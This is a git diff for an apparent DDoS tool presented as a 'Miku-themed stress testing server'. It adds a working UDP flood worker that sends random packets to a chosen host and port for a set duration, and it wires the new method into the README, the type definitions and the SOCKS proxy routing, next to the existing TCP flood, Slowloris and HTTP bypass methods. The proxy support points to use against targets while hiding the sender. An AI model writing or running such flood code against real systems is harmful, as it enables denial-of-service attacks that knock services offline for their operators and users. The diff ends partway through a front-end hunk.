diff --git a/README.md b/README.md index 48ac733..531b21d 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte - `HTTP Slowloris` - Send HTTP requests and keep the connection open - `Minecraft Ping` - Send Minecraft ping/motd requests - `TCP Flood` - Send random TCP packets + - `UDP Flood` - Send random UDP packets ## Setup 🛠️ diff --git a/server/index.ts b/server/index.ts index c4ac246..a2fe988 100644 --- a/server/index.ts +++ b/server/index.ts @@ -17,6 +17,7 @@ const attackWorkers: { [key in AttackMethod]: string } = { http_bypass: "./workers/httpBypassAttack.js", http_slowloris: "./workers/httpSlowlorisAttack.js", tcp_flood: "./workers/tcpFloodAttack.js", + udp_flood: "./workers/udpFloodAttack.js", minecraft_ping: "./workers/minecraftPingAttack.js", }; diff --git a/server/lib.ts b/server/lib.ts index 9b40e26..c568f5f 100644 --- a/server/lib.ts +++ b/server/lib.ts @@ -13,4 +13,5 @@ export type AttackMethod = | "http_bypass" | "http_slowloris" | "tcp_flood" + | "udp_flood" | "minecraft_ping"; diff --git a/server/proxyUtils.ts b/server/proxyUtils.ts index 75bbbd4..44af12f 100644 --- a/server/proxyUtils.ts +++ b/server/proxyUtils.ts @@ -17,6 +17,7 @@ const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = { http_bypass: ["http", "https", "socks4", "socks5"], http_slowloris: ["socks4", "socks5"], tcp_flood: ["socks4", "socks5"], + udp_flood: ["socks4", "socks5"], minecraft_ping: ["socks4", "socks5"], }; diff --git a/server/workers/udpFloodAttack.js b/server/workers/udpFloodAttack.js new file mode 100644 index 0000000..f73fd14 --- /dev/null +++ b/server/workers/udpFloodAttack.js @@ -0,0 +1,48 @@ +import { parentPort, workerData } from "worker_threads"; +import dgram from "dgram"; +import { randomString } from "../utils/randomUtils.js"; + +const startAttack = () => { + const { target, duration, packetDelay, packetSize } = workerData; + + const [targetHost, targetPort] = target.split(":"); + const port = parseInt(targetPort, 10); + + if (isNaN(port)) throw new Error("Invalid port: Should be a number"); + if (port < 1 || port > 65535) throw new Error("Invalid port: Should be between 1 and 65535"); + + const socket = dgram.createSocket("udp4"); + let totalPackets = 0; + const startTime = Date.now(); + + const sendPacket = () => { + const elapsedTime = (Date.now() - startTime) / 1000; + if (elapsedTime >= duration) { + socket.close(); + parentPort.postMessage({ log: "Attack finished", totalPackets }); + process.exit(0); + } + + const message = randomString(packetSize); + socket.send(message, port, targetHost, (err) => { + if (err) { + parentPort.postMessage({ + log: `❌ Packet failed to ${targetHost}:${port}: ${err.message}`, + totalPackets, + }); + } else { + totalPackets++; + parentPort.postMessage({ + log: `✅ Packet sent to ${targetHost}:${port}`, + totalPackets, + }); + } + }); + }; + + setInterval(sendPacket, packetDelay); +}; + +if (workerData) { + startAttack(); +} diff --git a/src/App.tsx b/src/App.tsx index 26e776d..55168b8 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -390,6 +390,7 @@ function App() { +